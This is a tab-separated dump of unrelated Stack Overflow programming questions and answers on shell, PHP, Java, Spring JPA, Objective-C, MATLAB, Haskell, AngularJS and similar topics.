21197777	0	linux shell search for number that does not ocur between numbers <p>I want to search for a number in string that does not occur between numbers.</p> <p>For example: string="10003096,10007051,10003098,10007053,10000952,10002696,10003619,900004608"</p> <p>If i search for 10003096, then it exists. But if i search for 1000, then it means it does not exist. Even if i search for 10000952,10002696, then it means it does not exist.</p> <p>How can i write the shell script for this?</p> <p>Please help.</p> <p>I have tried various options with grep and sed but it does not help.</p>
17262932	0	 <p>You need to invoke session_start at beginning of each file where session data is accessed.</p>
8978409	0	 <p>The spacing is intentional and cannot be changed (without custom drawing the entire thing, which is <a href="http://christian-helle.blogspot.com/2009/10/listview-custom-drawing-in-netcf.html" rel="nofollow">not so easy in managed code</a>), as WinMo 6.5 and later supposedly moved toward more "finger friendly" UIs. </p> <p>I realize the link is for a ListView, but the TreeView in CE also supports custom drawing in the same way, and that link is the only custom drawn <em>anything</em> I've seen for the CF.</p>
39816968	0	 <p>The line</p> <pre><code>while ((nextLine = br.readNext()) != null) { </code></pre> <p>takes advantage of the fact that an "assignment" is also an "expression" that has a value - the assigned value.</p> <p>So the line, reading from inside the parentheses out, does the following:</p> <ol> <li>Calls <code>readNext()</code> for the object <code>br</code>;</li> <li>Assigns the result of the call to <code>nextLine</code>;</li> <li>Tests the value assigned for <code>null</code>;</li> <li>If it <em>is</em> <code>null</code>, it jumps past the body of the <code>while</code> loop, to 7.;</li> <li>If it is <em>not</em> <code>null</code>, it executes the body of the <code>while</code> loop;</li> <li>It then goes back to 1. again.</li> <li>It continues the program.</li> </ol>
13347920	0	Google Analytics iOS SDK - Multiple accounts <p>I am trying to make my view controllers be tracked by two different accounts on my iPhone app. I am currently using the version 1.5.1 of the SDK, which doesn't support this functionality. On the documentation of the version 2, it says that it supports multiple trackers, but I couldn't figure out a way to make both track the same view. Does anyone know how can I do that?</p> <p>Thanks!</p>
41064717	0	Java thread pool executor implementation with job execution that don't exceed a defined duration <p>I want to find a way to have an thread pool executor implementation where if a thread job execution exceed a defined duration, the thread is killed (then the executor will create a new thread for a future job).</p> <p>Does any library have that ? or does java 8 have this kind of executor ?</p> <p>Thanks.</p>
37653196	0	Why isn't the divide() function working in Java BigInteger? <p>I'm attempting to divide the variable 'c' by 2(stored in 'd'). For some reason that doesn't happen. I'm passing 10 and 2 for input right now. </p> <pre><code>import java.util.*; import java.lang.*; import java.io.*; import java.math.BigInteger; class Ideone { public static void main (String[] args) throws java.lang.Exception { Scanner sc = new Scanner(System.in); BigInteger a = new BigInteger(sc.next()); BigInteger b = sc.nextBigInteger(); BigInteger d = new BigInteger("2"); System.out.println(d); BigInteger c = a.subtract(b); c.divide(d); System.out.println(c); a.subtract(c); System.out.println(a); System.out.println(c); } } </code></pre> <p>Any help would be appreciated. Thanks in advance!</p>
23863338	0	 <p>This is a very interesting scenario. While in general, we can change any method which is returning void to return anything else without much impact, main method is a special case.</p> <p>In earlier programming languages, the return from main method was supposed to return exit values to the OS or calling environment.</p> <p>But in case of Java (where multi-threading concept case into picture), returning a value from main method would not be right, as the main method returns to JVM instead of OS. JVM then finishes other threads e.g. deamon threads (if any) and performs other exit tasks before exit to OS.</p> <p>Hence allowing main method to return, would have lead to a false expectation with the developers. hence it is not allowed.</p>
429859	0	 <p>If time isn't an issue implementing OAuth security may be useful. OAuth uses a public key, and also a secret. The mess is hashed (in most cases) and the server will use the public key + it's copy of the secret to do the same hashing and make sure its result matches the requests. </p> <p>The benefit is you wouldn't need to use HTTPS or POST. Get* REST api methods should be using the HTTP GET method (I'm not sure if being RESTful is your goal, just thought I would point that out). I agree with Mr. Pang, use <a href="http://www.business.com/employees" rel="nofollow noreferrer">http://www.business.com/employees</a>. The query string could contain the list of department ids.</p> <p>For your case the service call wouldn't have the 'accessKey' argument, rather it would become the public key (I imagine) and be used in either the headers, query string, or as a POST param.</p> <p>Some good info on OAuth: <a href="http://www.hueniverse.com/hueniverse/" rel="nofollow noreferrer">http://www.hueniverse.com/hueniverse/</a></p>
22708037	0	 <p>If you want get all items in result table, you can get <code>ctx.CurrentGroup.ResultRows</code>.</p>
26292279	0	 <p>Yes, you have a <code>return</code> on the previous line. The method is done.</p> <pre><code>return monthlyPayment; // &lt;-- the method is finished. boolean isValid; // &lt;-- no, you can't do this (the method finished on the // previous line). </code></pre>
33848992	0	 <p>Store the questions and a counter to store which question has been asked in <code>$_SESSION['questions']</code>. Use the counter (also stored in the <code>$_SESSION</code>) to figure out what the next question is and increment it after each submit.</p> <p>To do this check after <code>session_start();</code> if <code>$_SESSION['questions']</code> is set. If not get your questions and store them into <code>$_SESSION['questions]</code> and set the counter to 0.</p> <p>Instead of the <code>foreach()</code> you access your questions by <code>$_SESSION['questions'][$_SESSION['counter']]</code> but do not forget to increase the counter each time.</p> <hr> <p>Sample code:</p> <p>The part to set set / get the questions and increase the counter: <pre><code>session_start(); if(!isset($_SESSION['questions'])) { $query = "SELECT * FROM question_table"; $statement = $db-&gt;prepare($query); $statement-&gt;execute(); $question = $statement-&gt;fetchall(); $statement-&gt;closeCursor(); $_SESSION['questions'] = $question; $_SESSION['counter'] = 0; } if (isset($_POST["submit"])){ // DO YOUR STUFF $_SESSION['counter']++; } ?&gt; </code></pre> <p>The part the output the question:</p> <pre><code>&lt;?php $question = $_SESSION['questions'][$_SESSION['counter']]; if(empty($question)) { // FINISHED ALL QUESTIONS } else { ?&gt; &lt;form action="QuestionAndOption.php" method="POST"&gt; Question &lt;?php echo $_SESSION['counter'] . ": " . $question["Question"]; ?&gt;&lt;br&gt; A: &lt;input type="radio" name="option" value="OptionA"&gt; &lt;?php echo $question["OptionA"]; ?&gt;&lt;br&gt; B: &lt;input type="radio" name="option" value="OptionB"&gt; &lt;?php echo $question["OptionB"]; ?&gt;&lt;br&gt; C: &lt;input type="radio" name="option" value="OptionC"&gt; &lt;?php echo $question["OptionC"]; ?&gt;&lt;br&gt; D: &lt;input type="radio" name="option" value="OptionD"&gt; &lt;?php echo $question["OptionD"]; ?&gt;&lt;br&gt; &lt;button name="submit" type="submit"&gt;Submit&lt;/button&gt; &lt;/form&gt; &lt;?php } // if close ?&gt; </code></pre>
9046428	0	 <p>You can't do that. You need to setup a delegate protocol. See <a href="http://www.raywenderlich.com/5191/beginning-storyboards-in-ios-5-part-2" rel="nofollow">This tutorial</a> and search down for the words "new delegate" and it will explain how that is done. That is the design pattern you need to use. There are several steps involved so follow closely. It is worth learning. Delegate protocols are common in iPhone Apps.</p> <p>In a current project I created a delegate protocol to communicate between two controller: SelectNoteViewController (Select) and EditNoteViewController (Edit). The basic idea is that Select is used to select from a list of notes and Edit is used to edit those notes. Now, I need Edit to have access back into the data and methods kept by Select because I have buttons in edit to call up the previous or next note from the list which is managed by Select so I implement a delegate protocol. Select is a delegate for Edit. That means Select does things for Edit. Here is the essential code.</p> <p>SelectNoteViewController.h:</p> <pre><code>// this next statement is need to inform Select of the protocols defined in Edit #import "EditNoteViewController.h" // STEP 1 @interface SelectNoteViewController : UITableViewController &lt;EditNoteViewControllerDelegate&gt; { ... // STEP 2: this says Select implements the protocol I created ... // STEP 3: EditNoteViewController Delegate Methods - these are the methods in the protocol - (Notes *)selectPreviousNote; - (Notes *)selectNextNote; </code></pre> <p>SelectNoteViewController.m:</p> <pre><code>// STEP 4: the protocol methods are implemented - (Notes *)selectPreviousNote { if (isPreviousToSelectedNote) { NSIndexPath *indexPath, *previousIndexPath; indexPath = [self.tableView indexPathForSelectedRow]; previousIndexPath = [NSIndexPath indexPathForRow:indexPath.row+1 inSection:0]; // update the selected row self.selectedNote = [self.fetchedResultsController objectAtIndexPath:previousIndexPath]; [self.tableView selectRowAtIndexPath:previousIndexPath animated:NO scrollPosition:UITableViewScrollPositionMiddle]; [self setPreviousNote]; [self setNextNote]; } return selectedNote; } - (Notes *)selectNextNote { if (isNextToSelectedNote) { NSIndexPath *indexPath, *nextIndexPath; indexPath = [self.tableView indexPathForSelectedRow]; nextIndexPath = [NSIndexPath indexPathForRow:indexPath.row-1 inSection:0]; // update the selected row self.selectedNote = [self.fetchedResultsController objectAtIndexPath:nextIndexPath]; [self.tableView selectRowAtIndexPath:nextIndexPath animated:NO scrollPosition:UITableViewScrollPositionMiddle]; [self setPreviousNote]; [self setNextNote]; } return selectedNote; } ... ... if ([[segue identifier] isEqualToString:@"editNote"]) { // STEP 5: this is where Edit is told that its delegate is Select [[segue destinationViewController] setEditNoteViewControllerDelegate:self]; // STEP 5 </code></pre> <p>Select now has the structure to do be a delegate for Edit. Now Edit needs to define the protocol on its end that it is going to use to get to those methods in Select.</p> <p>EditNoteViewController.h</p> <pre><code>#import ... // put protocol after import statements // STEP 6 @protocol EditNoteViewControllerDelegate &lt;NSObject&gt; - (Notes *)selectPreviousNote; - (Notes *)selectNextNote; @end @interface ... // STEP7: Edit needs a property to tell it who the delegate is - it was set back in Select.m @property (weak) id &lt;EditNoteViewControllerDelegate&gt; editNoteViewControllerDelegate; </code></pre> <p>EditNoteViewController.m</p> <pre><code>// STEP 8: the property is synthesized @synthesize editNoteViewControllerDelegate; ... // STEP 9: now when any method needs to call selectPreviousNote or selectNext Note it does it like this: selectedNote = [self.editNoteViewControllerDelegate selectPreviousNote]; // or selectedNote = [self.editNoteViewControllerDelegate selectNextNote]; </code></pre> <p>That is it. Of course the protocol methods are like and other method and they can be passed parameters which what you need to do to pass data back which was your question in the first place. As a side note, see that I can pass data from Select to Edit without a protocol by creating properties in Edit and setting those properties in the prepareForSegue method of Select. Doing so gives me one shot to set some parameters when Edit is instantiated. My use of a the delegate protocol goes back to Select and has it pass another note (previous or next) to Edit. I hope that helps. You can see there are several steps to creating a delegate protocol. I numbered them 1-9. If the data is not making it back, I usually find I forgot one of the steps.</p>
29683014	0	 <p>You can get rid of that kernel loop to calculate <code>D</code> with this <a href="http://in.mathworks.com/help/matlab/ref/bsxfun.html" rel="nofollow"><code>bsxfun</code></a> based <a href="http://in.mathworks.com/help/matlab/matlab_prog/vectorization.html" rel="nofollow"><code>vectorized</code></a> approach -</p> <pre><code>D = squeeze(sum(bsxfun(@min,A,permute(B,[3 2 1])),2)) </code></pre> <p>Or avoid <code>squeeze</code> with this modification -</p> <pre><code>D = sum(bsxfun(@min,permute(A,[1 3 2]),permute(B,[3 1 2])),3) </code></pre> <p>If the calculations of <code>D</code> involve <code>max</code> instead of <code>min</code>, just replace <code>@min</code> with <code>@max</code> there.</p> <hr> <p><strong>Explanation:</strong> The way <code>bsxfun</code> works is that it does <em>expansion</em> on singleton dimensions and performs the operation as listed with <code>@</code> inside its call. Now, this expansion is basically how one achieves vectorized solutions that replace for-loops. By <code>singleton dimensions</code> in arrays, we mean dimensions of <code>1</code> in them. </p> <p>In many cases, singleton dimensions aren't already present and for vectorization with <code>bsxfun</code>, we need to create <code>singleton dimensions</code>. One of the tools to do so is with <a href="http://in.mathworks.com/help/matlab/ref/permute.html" rel="nofollow"><code>permute</code></a>. That's basically all about the way vectorized approach stated earlier would work.</p> <p>Thus, your kernel code -</p> <pre><code>... case {'dist_histint','ih'} [m,d]=size(A); [n,d1]=size(B); if (d ~= d1) error('column length of A (%d) != column length of B (%d)\n',d,d1); end % With the MATLAB JIT compiler the trivial implementation turns out % to be the fastest, especially for large matrices. D = zeros(m,n); for i=1:m % m is number of samples of A if (0==mod(i,1000)) fprintf('.'); end for j=1:n % n is number of samples of B D(i,j) = sum(min([A(i,:);B(j,:)]));%./max(A(:,i),B(:,j))); end end </code></pre> <p>reduces to -</p> <pre><code>... case {'dist_histint','ih'} [m,d]=size(A); [n,d1]=size(B); if (d ~= d1) error('column length of A (%d) != column length of B (%d)\n',d,d1); end D = squeeze(sum(bsxfun(@min,A,permute(B,[3 2 1])),2)) %// OR D = sum(bsxfun(@min,permute(A,[1 3 2]),permute(B,[3 1 2])),3) </code></pre> <p>I am assuming the line: <code>if (0==mod(i,1000)) fprintf('.'); end</code> isn't important to the calculations as it does printing of some message. </p>
11524076	0	 <p>Store the image names in an NSMutableArray and shuffle the array, e.g. via methods like <a href="http://stackoverflow.com/questions/56648/whats-the-best-way-to-shuffle-an-nsmutablearray">this SO answer</a></p> <p>Then loop over the array. </p>
3072842	0	 <p>In addition to JQuery, Google CDN also hosts JQueryUI and all the default Themeroller CSS UI themes (including images!). If you're planning to build a UI from JQuery this is pretty clutch.</p> <p><a href="http://encosia.com/2009/10/11/do-you-know-about-this-undocumented-google-cdn-feature/" rel="nofollow noreferrer">http://encosia.com/2009/10/11/do-you-know-about-this-undocumented-google-cdn-feature/</a></p>
21522600	0	 <p><code>160000</code> is not a timestamp in any way that PHP (or other common systems) define a timestamp. What you have is merely a time of day expressed in "military time" stored as an integer. So first of all, any <code>gm</code> function is likely not what you want to use, since you are missing timezone information from this "timestamp" to begin with, hence conversion to GM time is ambiguous if not impossible.</p> <p>The best you may be able to do is:</p> <pre><code>$timestamp = DateTime::createFromFormat('His', sprintf('%06d', 160000))-&gt;format('U'); echo strftime('%H:%M', $timestamp); </code></pre>
16610057	0	Spring JPA 2.0 Repository / Factory not working <p>I'm trying to implement a custom java Spring JPA repository, as described in the <a href="http://static.springsource.org/spring-data/data-jpa/docs/current/reference/html/repositories.html#repositories.custom-implementations" rel="nofollow">Spring documentation</a>. It seems that my spring config insists on creating the repositories in the standard way, instead of using the given MyRepositoryFactoryBean, giving me </p> <pre><code>Caused by: org.springframework.beans.BeanInstantiationException: Could not instantiate bean class [com.myapp.repository.impl.DocumentRepositoryImpl]: No default constructor found; nested exception is java.lang.NoSuchMethodException: com.myapp.repository.impl.DocumentRepositoryImpl.&lt;init&gt;() at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:83) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateBean(AbstractAutowireCapableBeanFactory.java:1006) ... 43 more Caused by: java.lang.NoSuchMethodException: com.myapp.repository.impl.DocumentRepositoryImpl.&lt;init&gt;() at java.lang.Class.getConstructor0(Class.java:2730) at java.lang.Class.getDeclaredConstructor(Class.java:2004) at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:78) </code></pre> <p>I'm using Spring 3.2.2-RELEASE and spring-data-jpa-1.3.2-RELEASE, which is the latest if I'm correct. Here's my spring config:<br> </p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:jdbc="http://www.springframework.org/schema/jdbc" xmlns:util="http://www.springframework.org/schema/util" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.2.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.2.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.2.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-3.2.xsd http://www.springframework.org/schema/jdbc http://www.springframework.org/schema/jdbc/spring-jdbc-3.2.xsd http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-3.2.xsd"&gt; &lt;import resource="spring-repository-config.xml"/&gt; &lt;import resource="spring-security-config.xml"/&gt; &lt;context:component-scan base-package="com.myapp.web.controller"/&gt; &lt;context:component-scan base-package="com.myapp.webservice.controller"/&gt; </code></pre> <p>And here's the spring-repository-config.xml: </p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans:beans xmlns="http://www.springframework.org/schema/data/jpa" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:beans="http://www.springframework.org/schema/beans" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.2.xsd http://www.springframework.org/schema/data/jpa http://www.springframework.org/schema/data/jpa/spring-jpa-1.3.xsd"&gt; &lt;repositories base-package="com.myapp.repository" factory-class="com.myapp.repository.impl.MyRepositoryFactoryBean"/&gt; &lt;!-- entity-manager-factory-ref="entityManagerFactory" transaction-manager-ref="transactionManager" --&gt; </code></pre> <p></p> <p>If've added debug breakpoints in all the methods of the com.myapp.repository.impl.MyRepositoryFactoryBean class, but these were not called.</p> <p>The basic interface, just like in the example</p> <pre><code>package com.myapp.repository.impl; @NoRepositoryBean public interface MyRepository&lt;T, ID extends Serializable&gt; extends JpaRepository&lt;T, ID&gt; { </code></pre> <p>The base implementation: </p> <pre><code>package com.myapp.repository.impl; @NoRepositoryBean public class MyRepositoryImpl&lt;T, ID extends Serializable&gt; extends SimpleJpaRepository&lt;T, ID&gt; implements MyRepository&lt;T, ID&gt; { private EntityManager entityManager; public MyRepositoryImpl(Class&lt;T&gt; domainClass, EntityManager entityManager) { super(domainClass, entityManager); // This is the recommended method for accessing inherited class dependencies. this.entityManager = entityManager; } public void sharedCustomMethod(ID id) { // implementation goes here } } </code></pre> <p>And the factory: </p> <pre><code>package com.myapp.repository.impl; import java.io.Serializable; import javax.persistence.EntityManager; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.data.jpa.repository.support.JpaRepositoryFactory; import org.springframework.data.jpa.repository.support.JpaRepositoryFactoryBean; import org.springframework.data.repository.core.RepositoryMetadata; import org.springframework.data.repository.core.support.RepositoryFactorySupport; public class MyRepositoryFactoryBean&lt;R extends JpaRepository&lt;T, I&gt;, T, I extends Serializable&gt; extends JpaRepositoryFactoryBean&lt;R, T, I&gt; { protected RepositoryFactorySupport createRepositoryFactory(EntityManager entityManager) { return new MyRepositoryFactory(entityManager); } private static class MyRepositoryFactory&lt;T, I extends Serializable&gt; extends JpaRepositoryFactory { private EntityManager entityManager; public MyRepositoryFactory(EntityManager entityManager) { super(entityManager); this.entityManager = entityManager; } protected Object getTargetRepository(RepositoryMetadata metadata) { return new MyRepositoryImpl&lt;T, I&gt;((Class&lt;T&gt;) metadata.getDomainType(), entityManager); } protected Class&lt;?&gt; getRepositoryBaseClass(RepositoryMetadata metadata) { // The RepositoryMetadata can be safely ignored, it is used by the JpaRepositoryFactory // to check for QueryDslJpaRepository's which is out of scope. return MyRepositoryImpl.class; } } } </code></pre> <p>My repositories interfaces are defines as: </p> <pre><code>package com.myapp.repository; public interface DocumentRepository { // extends MyRepository&lt;Document, Long&gt; public Document findByDocumentHash(String hashCode); public Document findById(long id); } </code></pre> <p>And the implementation is</p> <pre><code>package com.myapp.repository.impl; import java.io.Serializable; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; public class DocumentRepositoryImpl&lt;Document, ID extends Serializable&gt; extends MyRepositoryImpl&lt;Document, Serializable&gt; { private static final long serialVersionUID = 1L; public DocumentRepositoryImpl(Class&lt;Document&gt; domainClass, EntityManager entityManager) { super(domainClass, entityManager); } </code></pre> <p>And I use these repositories as autowired refernces in my controllers: </p> <pre><code>package com.myapp.web.controller; @Controller @RequestMapping(value = "/documents") public class DocumentController { @Autowired private DocumentRepository documentRepository; @RequestMapping(method = RequestMethod.GET) public ModelAndView list(HttpServletRequest request) { this.documentRepository. ... } </code></pre> <p>I've looked at various resources on the web like <a href="http://stackoverflow.com/questions/15140867/cant-autowire-repositories-created-by-jparepositoryfactorybean">this one</a>, but I can't tell the difference with my code. Any hints are more than welcome!</p>
5450555	0	 <p>I assume that you meant to return the <code>list</code> local variable that you declare in the <code>returnLists</code> function. What you'll be getting back is actually the class variable, also called <code>list</code>. This is because the local <code>list</code> variable has gone out of context by the time the code reaches your return statement (the local <code>list</code> variable is within the context of the <code>try</code> block you have declared). If you want to return the value from the local <code>list</code> variable change the first couple of lines of <code>returnLists</code> to this:</p> <pre><code>public List returnLists(String fileN) { mp3Lister woww = null; String fName; String lName; mp3Lister qwewq; List list = new LinkedList(); try { </code></pre> <p>and then remove the declaration of the <code>list</code> variable inside the try block.</p>
10374930	1	Matplotlib: Annotating a 3D scatter plot <p>I'm trying to generate a 3D scatter plot using Matplotlib. I would like to annotate individual points like the 2D case here: <a href="http://stackoverflow.com/questions/5147112/matplotlib-how-to-put-individual-tags-for-a-scatter-plot">Matplotlib: How to put individual tags for a scatter plot</a>.</p> <p>I've tried to use this function and consulted the Matplotlib docoment but found it seems that the library does not support 3D annotation. Does anyone know how to do this?</p> <p>Thanks!</p>
30477134	0	 <p>You can use the functions in xmppStreamManagement for sending the request and get received id:</p> <pre><code>[xmppStreamManagement requestAck]; </code></pre> <p>and</p> <pre><code>- (void)xmppStreamManagement:(XMPPStreamManagement *)sender wasEnabled:(NSXMLElement *)enabled - (void)xmppStreamManagement:(XMPPStreamManagement *)sender didReceiveAckForStanzaIds:(NSArray *)stanzaIds </code></pre> <p>make sure the stream management is enabled by:</p> <pre><code>[self.xmppStreamManagement enableStreamManagementWithResumption:YES maxTimeout:0]; </code></pre>
37519872	0	How to implement PTZ camera joystick and controller in AngularJS <p>I am working in a Video management application where I need to desing and implement PTZ camera controllers and joystick. </p> <p>My concern is:</p> <ol> <li><p>Is it possible to make a stick in html where user can press click and move to change the angle.</p></li> <li><p>Is there any sample app where ptz controllers can be demonstrated like Tilt top,left,right,bottom in a image. (Or any other way.)</p></li> </ol>
5179602	0	 <p>you should expose a DateTime dependency property on the control, done like so:</p> <pre><code> public DateTime Day { get { return (DateTime)GetValue(DayProperty); } set { SetValue(DayProperty, value); } } // Using a DependencyProperty as the backing store for Day. This enables animation, styling, binding, etc... public static readonly DependencyProperty DayProperty = DependencyProperty.Register("Day", typeof(DateTime), typeof(DayOfWeek), new UIPropertyMetadata(DateTime.MinValue)); </code></pre> <p>if you want this to be auto generated, what you should do is have an ItemsControl that contains this dayControl of yours, like so:</p> <pre><code> &lt;ItemsControl x:Name="DaysItemsControl"&gt; &lt;ItemsControl.ItemTemplate&gt; &lt;DataTemplate&gt; &lt;custom:DayDisplay Day="{Binding}"/&gt; &lt;/DataTemplate&gt; &lt;/ItemsControl.ItemTemplate&gt; &lt;/ItemsControl&gt; </code></pre> <p>and then DataBind it from code behind:</p> <pre><code> DateTime[] week = new DateTime[] { new DateTime(2000,1,1), new DateTime(200,1,2) }; DayItemsControl.ItemsSource = week; </code></pre>
30123349	0	How do I remove empty nav tag in wordpress website? <p>Hello I would like to know how do i remove empty nav tag in the navigation bar. <a href="http://abraham-accountants.co.uk/" rel="nofollow">http://abraham-accountants.co.uk/</a></p>
10198630	0	 <p>You may want to look at example 17-2 on the following site since it looks to cover what you are trying to do <a href="http://www.datypic.com/books/defxmlschema/chapter17.html" rel="nofollow">http://www.datypic.com/books/defxmlschema/chapter17.html</a>.</p> <p>EDIT: The feedback is that the key does need to be unique, so I'm removing that part of my response to avoid confusion.</p>
24039059	0	 <p>In the highstock you cannot use categories, only datetime type, so you should parse your data to timestamp and use it in the data.</p>
17151984	0	 <p>In the calendar setter area you getting the instance with actual date, then changing it's value, but not with add or substracting some piece of time. It's value is totally differs from the expected, because you setting absolute values not relatives.</p> <p>I've just extracted the calendar changes from your code and executed to demonstrate:</p> <pre><code>Calendar calendar = Calendar.getInstance(); System.out.println(calendar.getTime()); calendar.set(Calendar.DAY_OF_WEEK, 0); calendar.set(Calendar.HOUR_OF_DAY, 0); calendar.set(Calendar.MINUTE, 1); calendar.set(Calendar.SECOND, 0); System.out.println(calendar.getTime()); calendar.add(Calendar.HOUR, 1); System.out.println(calendar.getTime()); </code></pre> <p>the result is:</p> <pre><code>Mon Jun 17 18:00:56 CEST 2013 Sat Jun 22 00:01:00 CEST 2013 Sat Jun 22 01:01:00 CEST 2013 </code></pre>
8916704	0	 <p>You can do it with Generalized Algebraic Data Types. We can create a generic (GADT) type with data constructors that have type constraints. Then we can define specialized types (type aliases) that specifies the full type and thus limiting which constructors are allowed.</p> <pre><code>{-# LANGUAGE GADTs #-} data Zero data Succ a data Axis a where X :: Axis (Succ a) Y :: Axis (Succ (Succ a)) Z :: Axis (Succ (Succ (Succ a))) type Axis2D = Axis (Succ (Succ Zero)) type Axis3D = Axis (Succ (Succ (Succ Zero))) </code></pre> <p>Now, you are guaranteed to only have <code>X</code> and <code>Y</code> passed into a function that is defined to take an argument of <code>Axis2D</code>. The constructor <code>Z</code> fails to match the type of <code>Axis2D</code>.</p> <p>Unfortunately, GADTs do not support automatic <code>deriving</code>, so you will need to provide your own instances, such as:</p> <pre><code>instance Show (Axis a) where show X = "X" show Y = "Y" show Z = "Z" instance Eq (Axis a) where X == X = True Y == Y = True Z == Z = True _ == _ = False </code></pre>
23598839	0	angular.js nested directive scope scope attribute <p>I would like to to a "map" tag witch should contains "marker" tags.</p> <p>my problem is that I would like to set the "marker" attributes using variables from the "map" parent scope.</p> <p>if I do this:</p> <pre><code> &lt;map center="{{userPosition}}"&gt; &lt;marker lat="13.555232324" lng="43.555232324" text="Text1" on-click="callback('id_0')" &gt;&lt;/marker&gt; &lt;/map&gt; </code></pre> <p>my code works, but I would like to do something like:</p> <pre><code> &lt;map center="{{userPosition}}"&gt; &lt;marker lat="{{nearRooms['id_0'].lat}}" lng="{{nearRooms['id_0'].lng}}" text="Text1" on-click="callback('id_0')" &gt;&lt;/marker&gt; &lt;/map&gt; </code></pre> <p>right now I can just read "lat" as a string.</p> <p>my map directive:</p> <pre><code>ngBMap.directive('map', [ function ($compile){ return { restrict: 'E', controller: ['$scope', function($scope) { this.markers = []; $scope.markers = []; this.mapHtmlEl = null this.map = null; this.exeFunc = function(func, context, args){ $scope.$parent[func].apply(context, args) } this.initializeMarkers = function(){ for (var i=0; i&lt;this.markers.length; i++) { var marker = this.markers[i]; this.map.entities.push(marker); } } this.initializeMap = function(scope, elem, attrs){ var map_canvas = document.createElement('div') var _thisCtrl = this; .... this.mapHtmlEl = map_canvas; } this.setCenter = function(position){ var position = eval(position) var _position = new Microsoft.Maps.Location(position[0], position[1]) if(this.map) this.map.setView({center : _position}); } }], scope: { 'center': '@', }, link: function(scope, element, attrs, ctrl) { scope.$watch('center', function(center) { console.log('center: '+center) if(center){ ctrl.setCenter(center) } }, false); ctrl.initializeMap(scope, element, attrs) element.html(ctrl.mapHtmlEl) } } </code></pre> <p>}]);</p> <p>my marker directive:</p> <pre><code>ngBMap.directive('marker', [ function ($compile){ return { restrict: 'E', require: '^map', link: function(scope, element, attrs, mapController) { console.log('marker init') var getMarker = function() { var lat = attrs.lat ..... var marker = _marker; return marker; }//end getMarker var marker = getMarker(); mapController.markers.push(marker); } }}]); </code></pre>
38958511	0	java on osx - xmx ignored? <p>i've got two computers running on Mac OS X El Capitan and Ubuntu 16.04 LTS. On both is Java SDK 1.8.0_101 installed.</p> <p>When I try to start an game server on Ubuntu with more memory than available, I get the following output:</p> <pre><code>$ java -Xms200G -Xmx200G -jar craftbukkit.jar nogui Java HotSpot(TM) 64-Bit Server VM warning: INFO: os::commit_memory(0x00007f9b6e580000, 71582613504, 0) failed; error='Cannot allocate memory' (errno=12) # # There is insufficient memory for the Java Runtime Environment to continue. # Native memory allocation (mmap) failed to map 71582613504 bytes for committing reserved memory. # An error report file with more information is saved as: # </code></pre> <p>On Mac OS I don't get this error:</p> <pre><code>$ java -Xms200G -Xmx200G -jar craftbukkit.jar nogui Loading libraries, please wait... </code></pre> <p>Both computers have 8GB of memory. I also tried with an other Apple computer - same problem.</p> <p>Is that a bug of java mac version?</p> <p>(Is there a way to force limit the memory usage e.g. to 1GB? -Xmx1G won't work and I wasn't able to find another reason. Not here neither on google)</p> <p>Thank you!</p> <p>Sorry for my bad english...</p>
4927396	0	 <pre><code>var lis = $('ul &gt; li'); function switchClass(i) { lis.eq(i).removeClass('current'); lis.eq(i = ++i % lis.length).addClass('current'); setTimeout(function() { switchClass(i); }, 2000); } switchClass(-1); </code></pre> <p><a href="http://jsfiddle.net/7ec63/" rel="nofollow">http://jsfiddle.net/7ec63/</a></p>
31526846	0	 <p>This could be accomplished with a one-line PowerShell command:</p> <p><code>powershell "Get-ChildItem C:\...\Archives\*.* | Where-Object {$_.Name -notlike '"*_XYZ.*'"} | Foreach-object {Rename-Item -Path $_.FullName -NewName ($_.name -replace '\.', '_XYZ.')}"</code></p>
7830596	0	 <p>Call <a href="http://developer.android.com/reference/android/app/Dialog.html#setCancelable%28boolean%29" rel="nofollow">setCancelable</a> using the false argument. Like this:</p> <pre><code> progressDialog.setCancelable(false); </code></pre>
2473282	0	 <p>Simply put you can't. There are a couple of approaches to work around this problem though.</p> <p>The most common is to use an interface. Say <code>IMyType</code></p> <pre><code>interface IMyType { void foo(); } class A : IMyType ... class B : IMyType ... void bar&lt;T&gt;(T t) where T : IMyType { t.Foo(); } </code></pre> <p>This is a bit heavy weight though is it requires a metadata change for a solution. A cheaper approach is to provide a lambda expression which calls the appropriate function.</p> <pre><code>void bar&lt;T&gt;(T t, Action doFoo) { ... doFoo(); } var v1 = new A(); var v2 = new B(); bar(v1, () =&gt; v1.Foo()); bar(v2, () =&gt; v2.Foo()); </code></pre>
